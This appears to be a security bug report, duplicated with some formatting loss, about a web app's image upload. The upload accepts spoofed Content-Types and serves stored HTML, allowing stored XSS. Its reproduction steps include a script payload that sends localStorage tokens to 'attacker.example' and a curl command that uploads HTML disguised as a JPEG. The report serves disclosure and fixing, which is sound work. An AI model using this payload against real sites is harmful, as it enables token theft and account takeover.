Bug Description
Confirming and expanding on this issue with a full root-cause trace through
the codebase.
backend/middlewares/uploadMiddleware.js validates uploaded images using
only file.mimetype:
const imageFileFilter = (req, file, cb) => {
const allowedTypes = ["image/jpeg", "image/png", "image/jpg", "image/webp"];
if (allowedTypes.includes(file.mimetype)) {
cb(null, true);
} else {
cb(new Error(`Unsupported type: ${file.mimetype}`), false);
}
};
file.mimetype is populated by multer directly from the Content-Type
header the client sets on that multipart form part — it is not derived
from the file's actual contents. An attacker can therefore set
Content-Type: image/jpeg on any file, regardless of its real content.
The filename sanitizer only cleans the basename and lowercases the
extension — it never validates or replaces the extension itself:
const sanitizeFilename = (filename) => {
const ext = path.extname(filename);
const basename = path.basename(filename, ext);
const sanitizedBase = basename.replace(/[^a-zA-Z0-9_-]/g, "_")...
return `${sanitizedBase || "file"}${ext.toLowerCase()}`;
};
The uploads directory is then served as static content with no
content-type override or Content-Disposition header:
app.use("/uploads", express.static(path.join(__dirname, "uploads"), {}));
Combined, this means a file named e.g. "payload.html" containing a
<script> tag, uploaded with a spoofed image/jpeg Content-Type, is
accepted, stored with its .html extension intact, and served back
verbatim from the app's own origin.
This becomes a stored XSS delivery vector. It also directly compounds
issue
#312 (JWT access/refresh tokens stored in localStorage/
sessionStorage instead of httpOnly cookies): script execution from this
uploaded file can read localStorage on the same origin and exfiltrate
live auth tokens, giving an attacker a full account-takeover path without
needing any XSS bug elsewhere in the React app.
### Steps to Reproduce
1. Authenticate normally and locate any endpoint using the `upload`
middleware (image upload, e.g. profile picture).
2. Craft a multipart/form-data request where the file field contains
HTML content, e.g.:
<script>fetch('https://attacker.example/steal?t='+localStorage.getItem('token'))</script>
Save this as payload.html.
3. Send the upload request manually (e.g. via curl or Postman) with the
file's Content-Type explicitly set to "image/jpeg" instead of letting
the client infer it:
curl -i -X POST http://localhost:/api/
-H "Authorization: Bearer "
-F "image=@payload.html;type=image/jpeg"
- Note the 200/201 success response and the stored filename returned
(e.g. "1718999999999-payload.html").
- Navigate a browser directly to:
http://localhost:/uploads/1718999999999-payload.html
- Observe the script executes in the site's origin context.
Expected Behavior
The server should verify the actual file content (e.g. via magic-byte /
file-signature inspection, such as the file-type npm package) rather
than trusting the client-supplied Content-Type header. The stored file's
extension should be derived from the verified real type, not from
user-controlled input. Non-image files (including disguised HTML/SVG/JS)
should be rejected outright, and served uploads should include headers
that prevent script execution (e.g. Content-Disposition: attachment,
or serving from a script-inert subdomain/bucket) as defense in depth.
Actual Behavior
Any file is accepted as long as the client claims an allowed MIME type
in the Content-Type header, regardless of actual file content. The
original file extension is preserved in storage. The file is then
served back exactly as uploaded, with no execution-prevention headers,
from the application's own origin.
Severity
Critical
Screenshots / Screen Recording
No response
Browser
Chrome
Operating System
Windows 11
Additional Context
Relevant files:
- backend/middlewares/uploadMiddleware.js (imageFileFilter, sanitizeFilename)
- backend/server.js, line ~143 (static serving of /uploads with no options)
Related issue: #312 (JWTs in localStorage/sessionStorage) — recommend
these two be considered together when prioritizing, since #313 turns
#312 from "requires finding an XSS bug" into "trivially exploitable via
file upload."
Suggested minimal fix: integrate a magic-byte detection library (e.g.
file-type) in imageFileFilter, and always generate the stored file
extension from the detected type rather than from user input.
Bug Description
Confirming and expanding on this issue with a full root-cause trace through
the codebase.
backend/middlewares/uploadMiddleware.js validates uploaded images using
only
file.mimetype:file.mimetypeis populated by multer directly from theContent-Typeheader the client sets on that multipart form part — it is not derived
from the file's actual contents. An attacker can therefore set
Content-Type: image/jpegon any file, regardless of its real content.The filename sanitizer only cleans the basename and lowercases the
extension — it never validates or replaces the extension itself:
The uploads directory is then served as static content with no
content-type override or Content-Disposition header:
Combined, this means a file named e.g. "payload.html" containing a
<script> tag, uploaded with a spoofed image/jpeg Content-Type, is accepted, stored with its .html extension intact, and served back verbatim from the app's own origin. This becomes a stored XSS delivery vector. It also directly compounds issue #312 (JWT access/refresh tokens stored in localStorage/ sessionStorage instead of httpOnly cookies): script execution from this uploaded file can read localStorage on the same origin and exfiltrate live auth tokens, giving an attacker a full account-takeover path without needing any XSS bug elsewhere in the React app. ### Steps to Reproduce 1. Authenticate normally and locate any endpoint using the `upload` middleware (image upload, e.g. profile picture). 2. Craft a multipart/form-data request where the file field contains HTML content, e.g.: <script>fetch('https://attacker.example/steal?t='+localStorage.getItem('token'))</script>Save this as payload.html.
3. Send the upload request manually (e.g. via curl or Postman) with the
file's Content-Type explicitly set to "image/jpeg" instead of letting
the client infer it:
curl -i -X POST http://localhost:/api/
-H "Authorization: Bearer "
-F "image=@payload.html;type=image/jpeg"
(e.g. "1718999999999-payload.html").
http://localhost:/uploads/1718999999999-payload.html
Expected Behavior
The server should verify the actual file content (e.g. via magic-byte /
file-signature inspection, such as the
file-typenpm package) ratherthan trusting the client-supplied Content-Type header. The stored file's
extension should be derived from the verified real type, not from
user-controlled input. Non-image files (including disguised HTML/SVG/JS)
should be rejected outright, and served uploads should include headers
that prevent script execution (e.g. Content-Disposition: attachment,
or serving from a script-inert subdomain/bucket) as defense in depth.
Actual Behavior
Any file is accepted as long as the client claims an allowed MIME type
in the Content-Type header, regardless of actual file content. The
original file extension is preserved in storage. The file is then
served back exactly as uploaded, with no execution-prevention headers,
from the application's own origin.
Severity
Critical
Screenshots / Screen Recording
No response
Browser
Chrome
Operating System
Windows 11
Additional Context
Relevant files:
Related issue: #312 (JWTs in localStorage/sessionStorage) — recommend
these two be considered together when prioritizing, since #313 turns
#312 from "requires finding an XSS bug" into "trivially exploitable via
file upload."
Suggested minimal fix: integrate a magic-byte detection library (e.g.
file-type) in imageFileFilter, and always generate the stored file
extension from the detected type rather than from user input.